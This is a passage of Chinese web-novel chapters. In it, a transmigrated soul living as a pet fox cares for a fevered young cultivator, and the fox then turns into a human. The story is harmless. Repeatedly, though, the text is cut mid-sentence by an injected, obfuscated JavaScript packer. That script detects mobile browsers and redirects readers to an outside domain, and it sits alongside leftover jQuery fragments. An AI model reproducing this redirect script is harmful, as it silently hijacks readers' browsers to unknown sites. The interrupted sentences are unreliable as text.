江晏:真是谢天谢地。 这个名字他还算喜欢。 能让他想起从前在合江宗山上,傍晚或清晨的霞色。 而在他面前,宁时也对自己的这个想法非常满意,一把抱起小狐狸,口中连唤了好几声“彤云”。 江晏:…… 少年已经长高了,这么一下子把他抱起来,有一种脚不沾地的失重感。 他身上所有的着力点都在少年的手臂上,一条没被抱起来的后腿还在空中晃晃悠悠,实在是少了几分脚踏实地的安全感。 江晏默不作声地,将大尾巴缠上了少年的手臂。 宁时却不知他心中所想,只是乐呵呵地看看他的脸,又看看它的尾巴。 然后再开开心心地叫了几次小狐狸的名字。 江晏:…… 他要放弃挣扎了。 于是在少年清亮的一声声“彤云”中,江晏用鼻子拱了拱少年的手臂,轻哼了一声作为回应。 131. 摸狐狸尾巴 得了回应,宁时就又笑起来,抱着小狐狸在空中转了几圈。 江晏:…… 他看着屋子里景象快速旋转。开始感到……头晕。 这个小狐狸的身体真的有些脆皮,他已经开始想吐了。 但好在宁时终于在他吐出来之前,把他放回在地上。 江晏伸伸后腿,却没想到因为头晕一时间没有站稳,眼看着要往地上倒去。 又被宁时一把接住。 江晏:…… 他有些无奈了,问啾啾:“我穿到了一只傻狐狸的身体里,它的智商……会影响到我吗?” 啾啾:“放心,不会的。” 又看了一眼他的四只狐狸腿:“哦,你刚刚没站稳,可能是因为太久不做活物的原因。” 这话仔细想来也有几分道理,江晏被堵了一下,又转过头去怒视宁时: 要不是他刚才抱着自己转圈圈,自己又怎么会差点摔了? 但他现在毕竟只是一只小狐狸,而宁时理所当然地把他愤怒的目光,当成了小狐狸对自己的深情对视。 于是江晏又被抓了起来——宁时提溜起他,一把放在了刚刚搭好的、已经放在宁时自己床头边的狐狸窝,道:“彤云彤云,喜欢这个新床吗?” ……好想呲牙,江晏想。 但在下一秒,他脚掌下就传来的软绵绵的触感——那是他的新小窝。 江晏被宁时放了进去。 不得不承认,宁时的手艺还是不错的。 这个小窝,从外面看木材接口处都很平整,没有毛刺,甚至还有用朱笔几根线条就勾勒出来的小狐狸简笔画。 而里面铺着的软褥外皮,和这张床的主人所用的布料,都属于同一种。 是浅淡的蓝色,中间夹杂着鹅黄色的福字纹样。 江晏想,也许是宁时找人特意翻出了这些布料。 而在布料下面,就是厚实而又柔软的棉花。 实在是太舒服了,江晏感觉自己有点控制不住这具身体了,他的两只前爪,不由自主地在上面来回踩着,感受着脚下的棉花团从蓬松到压扁,然后再弹起来。 然后他额头上又是一热——宁时再次忍不住,又摸了摸他。 不仅如此,还弹出一道灵力,帮他治好了头上的磕伤。 他做完这件事后,继续展开双手,对着小狐狸揉啊揉。 江晏:好好的狐狸,可别被你摸秃了。 但拿人手软,更何况宁时治好了他的伤,又给了他这么一张舒服的床。 他放弃了对宁时呲牙的想法,转了个身,用屁股对着他,在小窝里卧下了。 ……然后他的屁股一热! 江晏惊悚地回头,看到……宁时正在玩自己的尾巴。 那么蓬松的狐狸尾巴,在他手里被揉来揉去。 江晏:…… 他不算了解狐狸的身体结构,但只感觉从尾巴尖尖传来一阵电流,一直顺着脊柱蹿上了他的大脑。 江晏打了个激灵,只觉得——十分地不妙。 他本来想愤怒地朝宁时干嚎两声,但一张嘴却发出来一声近乎撒娇的哼唧。 江晏:!! 有点丢人,于是他默默闭上了嘴巴,尾巴用力,试图从宁时手中抽走。 ……没抽动,然后还不幸地发现,宁时玩他尾巴玩得更上劲了。 江晏失去了所有力气和手段。 他怏怏地在小窝中趴下,任由宁时揉搓着小狐狸的皮毛。 片刻后,宁时终于是意犹未尽地停了手,拍拍他的脑袋,道:“我该去先生那里上课了啊,等回来再陪你。” 可能是狐狸身体的本能在作祟,江晏下意识地用头蹭了蹭他。 宁时笑了,他松开江晏,又摆了摆手,一蹦一跳地出门走远了。 只留下在原地刚刚反应过来自己干了什么的江晏。 他自闭了片刻,又在原地坐起,叹了口气——这是他第一次使用小动物的身体,果然有诸多不适应之处。 没关系的,我可以搞定的——江峰主如是想着。 而在一旁,啾啾检测到了他的情绪变化:“啾啾!这种身体都有磨合期的,而你的神魂又足够强大,也许可以在一定程度上,改造小狐狸。” 江晏:“……行吧,你说的改造,该不会是哪天我能让狐狸口吐人言吧。” 啾啾蹦来蹦去:“谁知道呢,不过说回来,这已经是你在这个世界的第三个身体了,但我们依然对分魂的心愿没有头绪。” 它不提这个还好,一说起来,江晏感觉自己开始头疼了:“这真的是分魂最为幸福的一个世界了。” “我想不出来他有什么心愿。” “即使有的话,我想应该也是和家人们幸福生活在一起吧。” “但说实话,他现在就挺幸福的。” “如果这个作为愿望的话,我只要陪他好好过完这一辈子就可以了。” 啾啾点头:“是啊,不过想想宁希的人生……现在她还小,她的剧本还没有生效。” “也许等她大一点,宁时的愿望就会产生转变了吧。” 江晏也认为如此。 日子依旧是那么平静,他被宁时养得很好。 小狐狸的个子一天比一天高了,两年的时间里,足够让他这具身体长成一只青年雄狐。 他的尾巴更加蓬松,甩起来更像是一朵云了。 而至于他的皮毛,则是在这两年的喂养中,变得更加厚实了,在外表还泛着一层绸缎般的光泽。 行动间,每一根毛发尖尖上都挑着阳光,煞是耀眼。 他摸起来时,手感自然是变好了,于是宁时当年为他搭建的小窝已经被闲置了——宁时总是搂着小狐狸睡,根本用不到狐狸窝。 就如同这个夜晚。 窗外一轮明月高悬,浅色的月光照进已经熄了灯的房间。 江晏被宁时搂着,躺在他的被窝里。 最初的最初,当宁时第一次想把他塞进自己被窝里时,江晏是极为抗拒的。 但禁不住宁时一边给他顺毛,一边又说了很多好话,便自暴自弃地任对方揉来揉去了。 ……不过,被窝里确实很舒服,江晏一边调整着尾巴的位置,一边想。 宁时的体温本来就暖和,再加上自己的一身皮毛,一人一狐贴在一起,热气腾腾的。 更何况,身边挨着一个大活人,触感上总比棉花更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930401|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好一些。 江晏张着狐狸嘴打了个哈欠,用尾巴缠上了宁时的手臂。 就像这两年来的每一个夜晚一样,他们依偎在一起。 ……只是这个夜晚,生出了来许些变故。 江晏是被烫醒的。 他在昏昏沉沉的梦境中,只觉得身上越来越热,最后到了无法忽视的程度。 他努力睁开眼来,却是漆黑的一片——他依旧躺在宁时的被窝里,身边是宁时随着呼吸一起一伏的胸口。 江晏只觉得他呼吸似乎是比平时急促的些。 他在被窝里拱来拱去,终于钻了出来,借着月光,看到了枕上宁时的一张脸。 他愈发好看了,即便是闭着眼睛,也有一番宗门长公子沉静的风姿。 江晏并没有把目光在这张脸上停留太久——每天这么看,他作为一只狐狸都快看习惯了。 更何况,此时即使是在清冷的月光下,宁时脸颊两侧也晕着不正常的潮红。 ……可能是生病了吧,江晏想。 他伸出一只前爪,用狐狸厚实的肉垫拍了拍宁时的脸。 嘶,好烫。 江晏收回前爪,他找到了把自己热醒温度的来源。 ……分魂怎么就突然生病了呢。 江晏想,也许是发烧吗? 但宁时作为悬水宫的长公子,日常修炼,已经脱离了凡人的范畴,这样的修士,也会像普通人一样生病发烧吗? 不一定。 其实还有一个猜测,在江晏心中涌动。 那是所有修士在修炼中都避之不及的。 江晏不敢细想,他决定,先把宁时叫起来看看情况。 于是他把脑袋凑到宁时脸边,用力拱他。 宁时不为所动,连眼睛都没有睁开。 江晏:…… 他连后腿都在绷直了使劲,继续拱他,结果这一下,直接把宁时从枕头中间拱到了另一边。 即使是这次,宁时的反应也只是皱了皱眉,完全没有任何清醒过来的征兆。 江晏沉默地蹲在他枕边,在月光下,他能看到宁时微微出汗的额头上,粘上了长长短短、红红棕棕的狐狸毛。 江晏:…… 他受不了了,决定加大力度。 他也不知道自己是怎么想的,对着宁时露在被子外的肩头,张大嘴巴咬了上去。 ……当然是轻轻的,处于一个让人能感到疼痛又不会伤人的力度。 可宁时依旧是昏沉的,他似乎在朦胧中感到身上不舒服,抬起手,拍了拍肩膀上的东西。 由于他闭着眼,又处于半昏迷状态,因此这一巴掌没什么力度,只是挨着江晏的身体轻轻落下。 宁时的五指擦过他的皮毛,带来的痒意让江晏打了个激灵——这样下去可不行。 他估计是难以凭借自己的力气,把对方叫起来了。 江晏沉默片刻,有了计划: 他蹭蹭蹭跑出了宁时的院落,依照着记忆中宁白珠所居住的方向,狂奔过去。 并在宁白珠房前疯狂挠门,仰着脖子嚎叫。 …… 不出他所料,几息过后,宁白珠漆黑的窗口,突然亮起了灯。 132. 热症 明明是深夜,悬水宫中却是灯火通明。 一众人聚在宁时的有竹苑里,进进出出。 江晏窝在宁时床下,看着宁白珠和宁希等人站在宁时身边,和从杏谷请来的医生交谈着。 宁白珠自从被他叫起来之后,眉头就从来没有舒展过,此刻更是紧紧皱着:“大夫,我家孩子这究竟是什么情况啊。” 那大夫放开了宁时的手,同时举起另一只手臂轻轻一挥,只见从宁时身上逸出点点金色光芒,顺着大夫的指尖消失了。 大夫面色肃着,道:“公子的症状不像是凡人间的病症,于是我刚刚用灵力探测了一下公子的灵脉与内府。” “却感到他体内的灵力紊乱,不受控制。” 到这里,一旁的林成忍不住向前一步,问道:“这究竟是怎么一回事?” 大夫摆摆手,声音有些低沉:“公子应该是木灵根吧,只是我在灵脉里探测时,发现了另一股来路不明的灵力。” “这股灵力很是燥热,与公子体内原本的灵力相冲,才导致了今天突然发热,陷入昏迷。” 林成张口,看来是还想继续追问下去,大夫抢先一步,继续讲道: “这股灵力,我自然也想过有没有方法能压制下去。” “但我刚才试了试,无论是使用禁锢还是其他什么手段,没能成功。” “这股有些狂暴的灵力,是从公子体内各个地方,可以源源不断出现的。” “只要公子使用灵力,这燥热的灵力就会伴随出现。” 大夫说完这一长段话后,转身看向宁白珠,深深鞠了一躬:“在下学艺不精,水平有限,可能是无法根治长公子的病了。” “只是在下这里还有一些丹药,可以缓和公子的病症。” 宁白珠上前一步,扶起大夫:“周大夫说的是什么话,如果连你都没有办法做到根治,天下还能有谁呢。” 这周大夫起身,却又低下头:“这种情况,我行医这么多年第一次见到。” “灵力相冲之症常见,但通常情况下,都能找到另一股灵力的来源。” “可能是仇家的暗算,或者是外出游历时,接触了某种不该碰的东西。” “悬水宫可有这种情况?” 宁白珠摇摇头:“时时一向乖巧温和,怎会与人结怨呢?出去更是不可能的事了——我也不瞒着大夫,他的资质在同侪中不算上佳,也不会去什么秘境中寻机缘。” 周大夫就又叹气了:“那就是了,有原因的话,找到病灶才是方便。” “而如今看来,这股灵力竟是不知道来源。” “我便无法根除它,只能尽自己所能,看看能不能压制住了。” 宁白珠听明白了,长叹了一口气。 周大夫取出几瓶丹药,放在木桌上,道:“这些药丸可以暂时压制公子体内燥热的灵力,每十天服用一次即可。” 宁希取来一瓶,拿在手里看着,一面问道:“可有什么忌口之类的?” 周大夫答:“忌口是没有的,只是平日里要避免情绪波动较大,另外如果有可能,应该尽少使用灵力。” 他话音落地,屋子里安静极了。 片刻后,还是宁希的声音响起,犹犹豫豫的:“尽少……意思是,我哥他无法继续修炼了?” 周大夫的头埋得更低了:“一动用灵力,是会导致不明灵力产生,二者相撞的,只能尽力避免了。” 他顿了顿,又道:“如果公子还想提升修为,也许可以服用有聚灵功能的丹药一试……但若想突破,还是要用灵力与天劫相抗的。” 话说到这个份上,已经是很明白了。 变故来得太快,宁白珠等人俱是恍恍惚惚。 周大夫见了,也是于心不忍——好好的孩子,原本前途无量,现在却只能安安静静躺在床上昏迷着,谁见了不难受? 但多说无宜,他最终也只是默默去来一瓶丹药,打开木塞倒出,用灵力控制其中的一枚缓缓浮到宁时嘴边。 空气中有一股微弱的植物清香弥漫开。 众人去看那丹药,只见其约莫有鹌鹑蛋大小,通体雪白,微微带着一层浅淡的蓝光,即使是在夜色中,也是流光溢彩的。 一看就不是凡品。 林成上前几步,扶起宁时的脸,一边拉开他的嘴角,于是那丹药便融进了宁时口中。 只留空气中的植物清香愈发浓重起来。 江晏也忍不住吸了吸鼻子。 宁白珠低头看了他一眼,想了想,又指着丹药瓶,对周大夫问道:“这丹药闻起来倒是有种异香,不知是用何种原料制成的?” 周大夫答:“是兰冰莲,杏谷存了许些,足够公子使用了。” 宁白珠“唔”了一声。 周大夫夫看着她紧缩的眉,又道:“其实还有一个药方,或许能根除公子的病症……只是此种原料过于罕见了,故在下刚才没有直言。” 宁白珠眼睛却是亮了起来:“你说,悬水宫总归是有办法的。” 周大夫便答道:“是冷莲。” 宁白珠抬起眼:“这个名字……我是听说过的,但是没记错的话,似乎是极为难得?” 周大夫点头:“是了,因为过于珍稀,通常用兰冰莲来代替冷莲。” “冷莲就连杏谷中也不曾拥有……据传闻,上一次出现,还是在天山秘境中。” 宁白珠身形不稳,后退了一步,喃喃道:“天山秘境……上一次开启时,好像还是几百年之前呢。” “时时能坚持到那时候吗?” 周大夫道:“先用兰冰莲压制着,希望很大。” 宁白珠点点头,眼神却是飘忽的,她轻声道:“……我知道了。” 周大夫再次弯腰:“在下言尽于此了,宫主待长公子醒来后,按时提醒他吃药便好。” 说罢,几人又聊了几句后,宁白珠将人送走了。 于是江晏继续和悬水宫的一家人,守在宁时身前。 看着月光渐渐被朝霞掩盖,看着宁时脸上的潮红渐渐褪去。 他终于睁开眼,醒来了。 见床头立了这么多人,宁时一时还搞不清状况,他迷茫着张开嘴:“这是……?” 声音却是沙哑的,吓了他一跳:“我的声音?我是生病了吗?” 江晏见宁白珠抹了把脸,再放下手时,脸上却带了笑:“没事,你生病了,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏在心里回想了一遍周大夫说过的话,隐隐约约有了什么头绪,他问啾啾:“刚才,医师是不是说过,他这个身体,是木灵根?” 啾啾:“嗯呢。” 江晏道:“分魂毕竟和我一样,同是火灵根……之前的两个小世界无法修仙,自然不会遇上这种问题。” “但现在,我怀疑是火灵根和木灵根不相容,才会导致宁时灵力紊乱。” 啾啾点头:“很有道理,其实这么说来,他从小修炼速度比其他宗主的子女更慢,也说得过去了。” 江晏叹了口气:“真是没办法……我得想个办法解决这件事。” 啾啾:“实话说,我估计分魂此时也是这样想的。” “……从另一个角度出发,至少你现在,对于分魂在这个小世界里的心愿有头绪了。” 江晏:…… 这是什么地狱笑话。 他哭笑不得,试图把话题拉到正轨上:“不说这个了,我在想冷莲的事。” 133. 化形 对于冷莲一事,江晏其实并没有什么头绪。 一来他不了解这个世界,二来受他现在身体的限制,活动范围也是有限的,根本不可能了解到更多的消息。 江晏左思右想,感觉如果凭自己的力量找到冷莲线索的话,最为可行的方法可能也就是成为这个世界大能的宠物了。 ……开玩笑。 他一张小狐狸脸皱成了一团,望向宁时。 宁时依旧是安静的,江晏却看到他眼眶红了。 然后就是汹涌的泪水溢出来,一滴一滴砸在床上,甚至发出了沉闷的响声。 江晏:…… 他又往宁时身边凑了凑,试图安慰一下对方。 宁时没有理他——江晏对此持有宽容的态度,毕竟对于一个修士而言,接受自己无法正常使用灵力,是一件极为困难的事。 他用尾巴缠上了宁时的手臂,感到他哭得一抖一抖的。 接着,江晏感到什么小小东西砸到了自己身上,却有些沉重。 他扭过头去,发现自己火红的皮毛上微微润湿了一个小坑。 江晏起初还不明所以,直到他听到上方宁时喘了下气后,才突然意识到——宁时的一滴泪,掉到了他身上。 此时那滴温热的泪已经变凉,一点一点沁入他厚实的皮毛中。 江晏:…… 他一下子就更心疼了。 虽然他现在不是人,但依旧有办法安慰宁时。 江晏想了想,站起身来,用鼻子在宁时脸侧拱来拱去,试图给予他一些安慰。 宁时伸手摸了摸他,眼泪却没有一点要止住的迹象。 江晏看不得他哭,见他如此,只觉得自己心里好像也被什么东西揪了起来,弄得皱巴巴的,又酸又涨。 他心里难受着,竟是感觉自己身上也开始不舒服了。 从心口蔓延开的疼痛,顺着经络,延伸到四肢,让他全身都开始撕裂般地疼了。 江晏:…… 他用意识体对啾啾痛苦道:“这不对劲,为什么我也感觉这么不舒服。” 啾啾听了,围在他身边看了看,却是大惊失色:“啾啾!” 江晏有气无力道:“……说人话,我都快疼死了。” “话说,为什么看着分魂这样,我也这么难受啊。” 啾啾终于是恢复了语言功能,一巴掌拍上了它的狐狸头:“赶紧关心一下你自己吧!” 江晏:“嗯?” 啾啾语速极快:“什么心痛引起的身痛……你以为是在演话本吗?” 就在这句话间,那阵疼痛更加剧烈了,江晏身体僵了一下,抖着四肢从宁时肩头离开,趴下到床上,准备用意志挨过去。 啾啾看着他,无语了:“你是不是感觉浑身撕裂一样的疼?” 这疼痛来得实在剧烈又诡异,江晏咬紧了牙,挤出一个字:“嗯。” 得了他的回答,啾啾更加激动了,用力扑腾着翅膀:“那是因为你要化形了!” “马上要化形成人了!” 江晏:? 他震惊了,极度的震撼甚至短暂地压过了身上的痛苦。 他一边抖着,一边一字一顿问道:“不是,你是指我这个狐狸的身体,要变成一个人了?” 啾啾点头:“是啊,不然你以为为什么自己会有这么大的反应啊。” 江晏被疼得有气无力:“……不是说好了,这是一只普通狐狸的身体吗?” 啾啾摊翅:“计划赶不上变化。” 它跳到江晏身边,仰头看看宁时,又看看他:“你在十几息内,会彻底完成化形……” “我想,这可能还是因为神魂不兼容。” “或者说,你的灵魂太强大了,在一定程度上,改变了这只普通狐狸的体质。” 啾啾做出了总结:“……总之,你马上要成为一只狐狸精了,我祝你成功吧。” 说罢,还不等江晏做出什么回应,便风风火火地隐入了意识海,单方面屏蔽了江晏的呼唤。 痛苦的江晏:…… 他艰难消化着啾啾话中的意识,并感觉天要塌了。 而且不知道是不是错觉,江晏也感觉到,自己的四肢似乎在以一种缓慢的速度,逐渐拉长。 ……情况不太妙。 他又沉默着往后缩了缩,试图钻进被窝深处。 但这么一活动,宁时自然注意到他动作的不寻常。 江晏只听到宁时断续的呼吸声突然一顿,最后变得平稳起来——他心中连叫不好,鼓起勇气抬起头来,果然对上了宁时望向自己的一双眼。 微微泛红的,还带着水光的一双眼。 江晏因为啾啾的话,此时心虚极了,下意识地就往后缩。 但他的后腿被什么东西阻挡住了——那是宁时伸出的手臂。 宁时身子往前凑了凑,张了口,声音还带着刚刚哭过的鼻音:“彤云,你怎么在抖?” 江晏:……当然因为是疼的啊你看不出来吗! 宁时显然是一个智商正常的人,自然从他不同寻常的抖动频率中发现了端倪。 他一下子紧张起来,声音提高了,就连刚才闷闷的鼻音也消失了大半:“你是不是不舒服?生病了?” 江晏:…… 此时此刻,他感觉自己还不如生病了。 他预想着即将发生的场面,忍不住把狐狸脑袋埋到了被子下面——光想一想就尴尬得要命,实在是难以面对。 但坐在他面前的宁时显然会错了意,他更紧张了,坐直了身子,又从被窝中爬起来,以一个极为别扭的姿势,蹲在了江晏面前,并伸出双手,强行捧起了狐狸头。 宁时毕竟是一个人类,力气比这个狐狸身体大得多。 江晏根本拗不过他,还没来得及挣扎两下,脑袋就完完全全被捧在对方掌心中,抬了起来。 于是江晏瞪着一双绿油油的大眼睛,和宁时还没褪去红血丝的漆黑双目对视了。 江晏哼唧了一声,试图告诉对方自己没事。 但显然,他低估了经历化形时,这具身体的痛苦程度——这一声听起来堪称有气无力,任傻子都能听出来有问题。 宁时双手抖了抖,被他吓得已经忘记了自己刚刚从宁白珠口中得知的噩耗,全部注意力已经转移到了小狐狸身上。 他轻轻晃晃双手,语气焦急:“彤云?彤云你怎么了?” 说罢,又小心翼翼放下他的头,转身欲走,看样子,是要出去叫人。 江晏:…… 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14939181|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还了得,化形之事怎么能让一群人知道? 他在钻进骨头缝里的痛苦中,硬生出来一只爪子,扒住了宁时的袖口。 青绿色的绸缎上,微微起了线头。 宁时有所感,他动作一顿,又转过身低下头来看。 江晏抬眼与他对视。 这一瞬间,宁时似乎真的明白了什么。 他收回来已经跨出床铺的一条腿,重新双膝跪在床间,看着面前的小狐狸。 江晏听见他低声道:“……你是不想让我走吗?” 江晏点点头。 宁时没想到真得了回应,愣了一瞬,又道:“你会没事的吧,是吗。” 江晏:…… 以现在这个疼痛程度,他感觉不好说。 但又肯定不能摇头,江晏想,不然宁时肯定会抱着自己发疯的。 就在他思考之间,那疼痛变本加厉地袭来,江晏只觉得自己眼前都在冒金星。 好像哪里不太对——为什么宁时看着自己,眼睛却慢慢瞪圆了? 江晏陡然意识到,这哪里是什么眼冒金星,分明是——他自己整只狐狸从物理意义上讲,正在发光! …… 完了,彻底完蛋了。 江晏知道,许多妖族在第一次化形时,因为灵力的作用,身上会发光。 换句话说,他马上就要在宁时面前大变活人了。 事情不会因他的崩溃而改变,在这一团金红色的光芒中,江晏看到自己的身形彻彻底底舒展开了。 后颈上传来微弱的痒意——那是他长出来作为人类的长发了。 江晏:…… 事情的发展就像泥石流,朝着他控制不了的方向奔腾而下。 且更为恐怖的是,江晏感觉自己,好像直接贴在了这床锦被上。 …… 他,没有衣服穿。 他,好像知道啾啾刚刚为什么要火急火燎逃回意识海了。 …… 化形时产生的光芒渐渐暗去,江晏趁宁时发话之前,一把把自己的脸埋在了床褥中。 ……什么妖修和人修不合,在他毫无遮挡的这种境地中,都要统统靠后站了。 光芒彻底暗了。 江晏趴着,整个后背凉凉的,眼前却是黑漆漆一片,几乎能听得到自己心跳的声音。 砰,砰,砰。 但听不见关于宁时的一点动静。 江晏忍不住,动了动耳朵,试图捕捉对方的动态。 等等……耳朵? 他的耳朵依旧可以转动,想来,应该是化形没有完全,依然保留了一部分狐狸的特征。 想到这里,江晏也渐渐感知到了身体上其他部位。 这是实实在在的一具人类躯体了,除了他头顶上的一双狐狸耳朵,以及身后蓬松的一条大尾巴。 江晏想了想,下定决心,“嗖”地一下将尾巴移过来,盖住了自己露在外面的大腿。 ……很好,在头发和尾巴的遮挡下,他终于可以保持一个比较体面的心态了。 但还是不敢看宁时,江晏闷着头想,好尴尬。 一道难以言明的视线在他后背上停留了片刻,最终,宁时的声音从他头顶响起: “……彤云?” 134. 穿宁时衣服 即便是听到宁时在呼唤自己,但江晏依旧决定,坚决不抬头。 他一动不动,深深把脑袋埋进被子里,装死。 屋子里诡异地沉默了片刻后,宁时幽幽叹了口气。 江晏也想叹气了。 但还不等他有什么反应,只觉得后颈上一凉! 有什么东西拨开了浅浅覆盖在他身后的头发,直接捏上了他的脖子! 江晏浑身僵了一瞬,转而意识到……这好像是宁时的手指尖。 带着一些大病后的凉意,却依旧像宁时从前拎起小狐狸的后颈脖一样,抚上了江晏现在作为人类这具身体时的后颈。 江晏:…… 意识到这是宁时的手指后,他变得更僵硬了——虽然在从前两个小世界里,他和分魂亲亲密密的,但是经历了回溯和这个世界许多年不做人的经历,他几乎已经忘记了和分魂贴贴的滋味。 江晏默默想着……这个时候,他和宁时应该还不至于太熟吧。 那手指却在他后颈上压了压。 江晏:! 他现在明明已经化形成人了,却为什么还能如同作为狐狸时一样,感受到一阵电流顺着脊柱蹿了下去呢。 宁时的声音从他头顶响起:“彤云?” 装死好像不太行了,江晏小声“嗯”了一声,闷闷的。 于是那手指微微用力向上提,连带着他的脸也从锦被里抬起来。 江晏:…… 他颊侧还糊着凌乱的发丝,仰头和宁时对视。 他完全不知道,从对方略有些居高临下的角度,不但能看见他那一张被蒙得微微泛红的脸,还能看见他赤红的狐耳下,像藤蔓一样蔓延到后背上的黑发。 像是雪地里不知名的植物。 于是宁时的视线飘了一下。 江晏当然也不会知道,对方的视线,这次又飘到了他的身前。 他修长脖子下,凸起的锁骨在熹微晨光中泛着一层珠贝般的光泽。 再往下…… 宁时打了个机灵,脸突然就红了。 他慌乱地收回视线,一时间眼神飘忽,都不知道该往哪里看了。 他微微仰头,看着虚空中某一点,千言万语在嘴边打转,最终说出来的却是:“……你的衣服呢?” 简直哪壶不开提哪壶,江晏尴尬到了极点,只想原地消失。 但总归是要面对现实的,他定定神,对上了宁时的视线。 ……咦,他的脸怎么红红的? ……不重要,江晏想。 现在的这种场面,自己有衣服穿才是当务之急。 于是,他对对方露出一个尴尬又不失礼貌的微笑,回答道:“没有呢,你可以给我一套。” 宁时慢吞吞“噢”了一声,江晏见他神色依旧是莫名的,好像没听清一样。 于是他耐着性子,又重复了一遍。 这次宁时终于有了额外的反应,他像梦游一样,虚着步子下了床,走到衣柜边,选中一套绯色的衣服,接着下意识就要打出一道灵力,令其浮到江晏身边。 目睹了一切的江晏:…… 他差点发出尖锐的爆鸣,完全忘记了自己所处的境地,直接抬起上半身,冲着宁时喊到:“停停停!住手!” 宁时听到他的声音回头,神色清明了几分,却在目光扫到他身上时,脸又红了,这次简直是从脖子红到了耳朵尖。 江晏在他颜色的急剧变换中,也意识到了什么。 剑修头顶冒热气,匆忙拉过一截被子挡在身前,并迅速转移话题:“不是,你别就这样把衣服给我啊。” 宁时:? 他看看江晏,又回过头去看看衣柜,最终恍然大悟了:“啊,你是不喜欢绯色吗?” “可是这套衣服我只穿过一次,算是最新的衣服了。” 江晏:…… 他痛苦地挤出几个字:“不,我不是在说这个。” 宁时的神色几乎更迷茫了。 江晏快崩溃了:“我是说!你不要用灵力让衣服飞过来!” “你要遵医嘱啊啊啊——” 宁时:…… 他神色中先是深深的迷惑,随后终于是想起今早发生的事,于是这迷惑褪去,取而代之的怅惘。 江晏见他眉头微锁,又有些不忍心了。 但宁时的皱眉只是一瞬,随后又舒展开来,他望着已经化形成人的小狐狸,道:“谢谢彤云提醒。” 江晏:“……你我之间何必言谢。” 宁时只当没听到,他抱着那一团绯色的锦绣绸缎,迈着大步走到了床前,又将其在江晏身前放下。 这衣袍上虽然没有什么宝石点缀,但那绸缎的光泽差点闪瞎了江晏的狐狸眼——他可算是知道了,为什么宁时这身衣服,只穿过一次了。 实在是……光彩照人啊! 虽然说是有些张扬,但鉴于刚刚宁时也说过了,这是最新的一件衣服,江晏决定,还是穿上。 他拿起衣服,睁着一双眼睛,无声地示意宁时:你怎么还不闭上眼? 这一次,宁时读懂了他的目光。 他看起来欲言又止,最后整个人转过身去,背对着江晏,道:“……你穿衣服吧。” 江晏见他站好了,便把衣服展开,丝质的布料发出轻微的窸窣声。 宁时背对着他,也不知道在想什么,片刻后,又问道:“你会不会穿衣服?需不需要我帮你?” 已经穿上了下装的江晏:…… 感情分魂是真把自己当成一只傻狐狸了。 虽然知道他本来的出发点是好的,但江晏还是有些忿忿的,他扬声道:“不必了,我会的。” 宁时似乎没有料到是这么个答案,那背影僵了一下,道:“你只是一只小狐狸。” “我虽然知道你聪明,但是却不料你这么聪明。” 江晏把尾巴往外拉出来,套上上衣:“你把我当成一个人来看就行。” 这句话说出口,他才想起来这个世界修士和妖族的关系,顿觉不妥。 但说出来的话泼出去的水,宁时距离他这么近,已经是听得清清楚楚。 江晏见他身形动了动,似乎是在惊讶之下想转过身来,但又生生忍住了。 宁时依旧是背对着他,语气迟疑:“一般而言,只有妖族的妖修,才会有如此灵智……” 江晏已经猜到了他想说什么,便开口打断:“我不是,我没有,你想多了。” 宁时:……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947198|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他明显不相信这一番说辞,不依不挠:“可是,当年我把你捡回来的时候,你明明——” 宁时想了想,选了一个相对比较中性的措辞:“……没有这么聪明,平地走路还能撞上桌子腿。” 江晏:…… 够了,为什么自己的黑历史分魂可以记得这么清楚? 而宁时还在喋喋不休:“而且当时,母亲和老师们也都检查过的,你的确是一只普通的小狐狸,怎么会,怎么会……” 他尾音有些颤抖,最终憋出来一句:“怎么会变成一名妖修!我要怎么与家里交代!” 江晏:…… 他已经穿好了衣服,听到此处,磨了磨牙。 宁时还在继续说着——看来狐狸变人一事,对他的刺激有些大:“我当然不是要把你交出去的意思,你可不要误会了。” 江晏:“嗯。” 宁时得了他的回应,语速更快了,简直是一句话迭着一句:“但有一个很现实的问题,我不知道你了不了解,那就是,人修和妖修的关系很差劲。” “你在我这里不出门,悬水宫自然是可以保你一辈子的。” “但是我也不能决定你的去留,毕竟外面是这么大的一方天地。” 